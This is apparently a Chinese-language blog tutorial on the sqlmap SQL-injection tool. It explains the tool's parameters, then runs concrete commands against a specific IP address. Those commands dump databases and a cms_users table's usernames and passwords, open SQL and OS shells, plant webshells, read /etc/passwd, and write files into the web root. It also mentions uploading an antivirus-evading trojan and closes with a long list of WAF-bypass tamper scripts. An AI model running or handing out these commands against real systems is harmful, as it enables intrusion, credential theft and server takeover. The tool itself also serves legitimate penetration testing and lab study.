SQLMAP工具使用

240 阅读10分钟

SqlMap

一、SQLMAP工具

概念

SQLMAP是一款由Python开发的自动化SQL注入工具,其主要功能是扫描、发现并利用SQL注入漏洞,它内置了很多绕过插件,并且支持多种数据库,如MySQL、Oracle、PostgreSQL、SQL Server、Access、IBM DB2、SQLite等数据库;

SQLMAP的强大之处在于对数据库指纹的识别、数据库枚举、数据提取、访问目标文件系统、并在获取完全的操作权限时执行任意命令,它支持以下几种独特的注入:

  • 基于布尔类型的注入,即可根据返回页面判断条件真假的注入;
  • 基于时间的盲注,即不能根据页面返回判断的时候,利用时间线是否延时来判断条件的真假;
  • 基于报错的注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中,比如数据库报错的信息等;
  • 联合查询注入,即可以使用Union的情况下注入;
  • 堆叠查询注入,即可以同时执行多条语句时的注入;

SQLMAP安装

CentOS需要安装,Kali则自带,Windows需要安装

CentOS一般自带Python 2.7.5,不需要刻意安装,特殊情况需要安装

image-20241012172105220

二、SQMLMAP使用

常用参数

-u 可能存在注入的URL链接
-p 指定可能存在注入点的参数
--batch 默认选择执行
--timeout 设定重试超时
--time-sec 设定延时时间,默认是5秒 防止被ban
--level 注入等级,一共有5个等级(1-5)不加 level 时,默认是1,5级包含的payload最多,会自动破解出cookie、XFF等头部注入,相对应他的速度也比较慢
--tamper 脚本名称.py 使用绕过waf的脚本
--thread 多线程,默认为1,最大为10
--random-agent 使用随机user-agent
--keep-live sqlmap默认是一次连接成功后马上关闭;HTTP报文中相当于Connection: Close(一次连接马上关闭)。要扫描站点的URL比较多时,这样比较耗费性能,所以需要将HTTP连接持久化来提高扫描性能;HTTP报文相当于Connection: Keep-Alive
-r POST注入常用,读取http数据包 get也可以用
--data 指定post数据
--cookie 指定cookie
--headers 指定http头 如采用token认证的情况下
--current-user 当前用户
--password 当前用户密码
--is-dba 判断当前用户是否是管理员
--users 所有用户
--passwords 所有用户密码
--dbs 穷举系统存在的数据库
--current-db 当前数据库
--tables 穷举存在的表
--columns 穷举字段
--dump dump数据
--dump -T '表' --start 2 --stop 4 查询第2到第4行的内
-D dbname 指定数据库
-T tbname 指定表
-C colname 指定字段
--os 指定后端的操作系统类型
--dbms 指定后端数据类型 mysql oracle ...
--sql-shell 交互式的 sqlshell
--os-shell 交互式的 getshell
--file-read 文件读取 绝对路径
--file-write 文件写入  绝对路径
--file-dest 文件写入目的地址 绝对路径

使用sqlmap拖库

// 判断是否存在SQL注入 并利用
python sqlmap.py -u http://61.188.177.183:9718/show.php?id=33 
// 判断是否存在SQL注入 并告知 注入点 并利用
python sqlmap.py -u http://61.188.177.183:9718/show.php?id=33 -p id
python sqlmap.py -u http://61.188.177.183:9718/show.php?id=33 -p id --current-db 当前数据库
python sqlmap.py -u http://61.188.177.183:9718/show.php?id=33 -p id --dbs        所有数据库
python sqlmap.py -u http://61.188.177.183:9718/show.php?id=33 -p id -D cms --tables 所有表
python sqlmap.py -u http://61.188.177.183:9718/show.php?id=33 -p id -D cms -T cms_users --columns 所有字段
python sqlmap.py -u http://61.188.177.183:9718/show.php?id=33 -p id -D cms -T cms_users -C   指定子字段数据"username,password" --dump 数据
python sqlmap.py -u http://61.188.177.183:9718/show.php?id=33 -p id --users --passwords

使用sqlmap sqlshell

获得交互式的sqlshell,执行MySQL命令,不能够执行所有的命令

python sqlmap.py -u http://61.188.177.183:9718/show.php?id=33 -p id --sql-shell

使用sqlmap webshell

python sqlmap.py -u http://61.188.177.183:9718/show.php?id=33 -p id --os-shell
选择后端语言
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
选择上传目录
what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /var/www/htdocs, /usr/local/apache2/htdocs, /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default, /srv/www/htdocs, /usr/local/var/www') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
common location(s)  通用文件写入,列出了部分通用目录
custom location(s)  指定目录  我们使用2
custom directory list file 用户指定目录下所有文件夹尝试      
brute force search 暴力破解从/开始写入直到写入为准
所有的路径均为绝对路径
/opt/lampp/hedocs/upload
成功getshell后会创建两个临时文件
1. 包含cmd关键字的文件是用于临时getshell
2. 包含upload关键字的是用于上传永久的getshell文件
3. 上传自己的免杀木马

sqlmap文件读写

文件读写是需要知道明确的路径才可以的操作

文件读取
python sqlmap.py -u http://61.188.177.183:9718/show.php?id=33 -p id --file-read /etc/passwd
一般来说文件比较小的话会直接显示在屏幕
文件大的话会复制文件到攻击主机
Linux /root/.local/share/sqlmap/output/地址/files/IP地址或域名/files/文件
Win C:\Users\coder\AppData\Local\sqlmap\output\IP地址或域名\files\_etc_passwd (same file)

image-20241012174904651

img

文件上传
python sqlmap.py -u http://61.188.177.183:9718/show.php?id=33 -p id --file-write /dlrb.txt --file-dest /opt/lampp/htdocs/upload/abc.txt

sqlmap使用文件发送数据包(POST / GET)

制作请求文件

img

将文件包集成

image-20241012180437359

发送文件包
python .\sqlmap.py -r .\get.txt -p id --dbspython sqlmap.py -r post.txt -p User-Agent -D cms --tables --tamper ./tamper/space2randomblank.py

三、sqlmap常用绕过脚本

绕过脚本使用方法

python sqlmap.py -u http://61.188.177.183:11701/show.php?id=33 -p id --dbs --tamper ./tamper/xxxxxx.py
python sqlmap.py -u http://61.188.177.183:11417/Less-25/?id=1 -p id --tamper ./tamper/chardoubleencode.py --tamper ....

常用绕过脚本

查看支持的脚本
python sqlmap.py --list-tampers
功能说明
0eunion.py -<int> UNION 替换为 <int>e0UNION
apostrophemask.py - 将单引号字符(')替换为其UTF-8全角对应字符(例如 ' -> %EF%BC%87)
apostrophenullencode.py - 将单引号字符(')替换为其非法的双Unicode对应字符(例如 ' -> %00%27)
appendnullbyte.py - 在Payload末尾添加(Access)NULL字节字符(%00)
base64encode.py - 对给定Payload中的所有字符进行Base64编码
between.py - 将大于运算符('>')替换为 'NOT BETWEEN 0 AND #',将等于运算符('=')替换为 'BETWEEN # AND #'。
binary.py - 在可能的情况下注入关键字binary
bluecoat.py -SQL语句后的空格字符替换为有效的随机空白字符。然后将字符“=”替换为操作符LIKE。
chardoubleencode.py - 对给定Payload中的所有字符进行双URL编码(不处理已经编码的内容)(例如SELECT -> %2553%2545%254C%2545%2543%2554)
charencode.py - 对给定Payload中的所有字符进行URL编码(不处理已经编码的内容)(例如SELECT -> %53%45%4C%45%43%54)
charunicodeencode.py - 对给定Payload中的所有字符进行Unicode-URL编码(不处理已经编码的内容)(例如SELECT -> %u0053%u0045%u004C%u0045%u0043%u0054)
charunicodeescape.py - 在给定的负载中Unicode转义非编码字符(不处理已经编码的内容)(例如SELECT -> \u0053\u0045\u004C\u0045\u0043\u0054)
commalesslimit.py - 将(MySQL)实例如'LIMIT M,N'替换为'LIMIT N OFFSET M'对应项
commalessmid.py - 将(MySQL)实例如'MID(A,B,C)'替换为'MID(A FROM B FOR C)'对应项
commentbeforeparentheses.py - 在括号(例如())前添加(内联)注释(例如(-> / ** /())
concat2concatws.py - 将(MySQL)实例如'CONCAT(A,B)'替换为'CONCAT_WS(MID(CHAR(0),0,0),A,B)'对应项
decentities.py - 使用代码点将所有字符进行HTML十进制编码(例如'-> ')
dunion.py -<int> UNION替换为<int>DUNION
equaltolike.py - 将等于运算符('=')的所有出现替换为LIKE对应项
equaltorlike.py - 将等于运算符('=')的所有出现替换为RLIKE对应项
escapequotes.py - 反斜杠转义单引号和双引号(例如'->\ ')
greatest.py - 将大于运算符('>')替换为GREATEST对应项
halfversionedmorekeywords.py - 在每个关键字之前添加(MySQL)有版本的注释
hex2char.py - 将每个(MySQL)0x <hex>编码的字符串替换为等效的CONCAT(CHAR(),...)对应项
hexentities.py - 使用代码点将所有字符进行HTML十六进制编码(例如'-> 1)
htmlencode.py - 使用代码点将所有非字母数字字符进行HTML编码(例如'-> ')

if2case.py - 将实例如'IF(A,B,C)'替换为'CASE WHEN(A)THEN(B)ELSE(C)END'对应项
ifnull2casewhenisnull.py - 将实例如'IFNULL(A,B)'替换为'CASE WHEN ISNULL(A)THEN(B)ELSE(A)END'对应项
ifnull2ifisnull.py - 将实例如'IFNULL(A,B)'替换为'IF(ISNULL(A),B,A)'对应项

informationschemacomment.py - 在(MySQL)“information_schema”标识符的所有出现之后添加内联注释(/ ** /)
least.py - 将大于运算符('>')替换为LEAST对应项
lowercase.py - 将每个关键字字符替换为小写值(例如SELECT-> select)
luanginx.py - LUA-Nginx WAFs绕过(例如Cloudflare)
misunion.py - 将UNION实例替换为-.1UNION
modsecurityversioned.py - 使用(MySQL)有版本的注释括起来完整的查询
modsecurityzeroversioned.py - 使用(MySQL)零版本的注释括起来完整的查询
multiplespaces.py - 在SQL关键字周围添加多个空格(' ')
ord2ascii.py - 将ORD()出现替换为等效的ASCII()调用
overlongutf8.py - 将给定负载中的所有(非字母数字)字符转换为过长的UTF8(不处理已经编码的内容)(例如'->%C0%A7)
overlongutf8more.py - 将给定负载中的所有字符转换为过长的UTF8(不处理已经编码的内容)(例如SELECT->%C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94)
percentage.py - 在每个字符(例如SELECT->%S%E%L%E%C%T)前面添加一个百分比符号('%')
plus2concat.py - 将加号运算符('+')替换为(MsSQL)函数CONCAT()对应项
plus2fnconcat.py - 将加号运算符('+')替换为(MsSQL)ODBC函数{fn CONCAT()}对应项
randomcase.py - 将每个关键字字符替换为随机情况值(例如SELECT->SEleCt)
randomcomments.py -SQL关键字中添加随机内联注释(例如SELECT->S / ** / E / ** / LECT)
schemasplit.py -FROM模式标识符(例如'testdb.users')与空格(例如'testdb 9.e.users')拆分
scientific.py - 滥用MySQL的科学计数法
sleep2getlock.py - 将实例如'SLEEP(5)'替换为“GET_LOCK('ETgP'5)”之类的内容

sp_password.py - 将(MsSQL)函数'sp_password'附加到有效负载的末尾,以自动混淆来自DBMS日志的内容
space2comment.py - 将空格字符(' ')替换为注释'/ ** /'
space2dash.py - 将空格字符(' ')替换为破折号注释('--')后跟随一个随机字符串和一个新行('\n')
space2hash.py - 将(MySQL)空格字符(' ')的实例替换为井字符('#'),后跟随一个随机字符串和一个新行('\n')
space2morecomment.py - 将(MySQL)空格字符(' ')的实例替换为注释'/ _ /'
space2morehash.py - 将(MySQL)空格字符(' ')的实例替换为井字符('#'),后跟随一个随机字符串和一个新行('\n')
space2mssqlblank.py - 将(MsSQL)空格字符(' ')的实例替换为来自有效备选字符集的随机空白字符
space2mssqlhash.py - 将空格字符(' ')替换为井字符('#'),后跟随一个新行('\n')
space2mysqlblank.py - 将(MySQL)空格字符(' ')的实例替换为来自有效备选字符集的随机空白字符
space2mysqldash.py - 将空格字符(' ')替换为破折号注释('--')后跟随一个新行('\n')
space2plus.py - 将空格字符(' ')替换为加号('+')
space2randomblank.py - 将空格字符(' ')替换为来自有效备选字符集的随机空白字符

substring2leftright.py - 将PostgreSQL SUBSTRING替换为LEFTRIGHT
symboliclogical.py -ANDOR逻辑运算符替换为其符号对应项(&&||)
unionalltounion.py -UNION ALL SELECT实例替换为UNION SELECT对应项
unmagicquotes.py - 将引号字符(')替换为多字节组合%BF%27,同时在末尾添加通用注释(使其起作用)
uppercase.py - 将每个关键字字符替换为大写值(例如select->SELECT)
varnish.py - 添加HTTP头'X-originating-IP'以绕过Varnish防火墙

versionedkeywords.py - 使用(MySQL)有版本的注释括起来每个非函数关键字
versionedmorekeywords.py - 使用(MySQL)有版本的注释括起来每个关键字
xforwardedfor.py - 添加假HTTP头'X-Forwarded-For'(等等)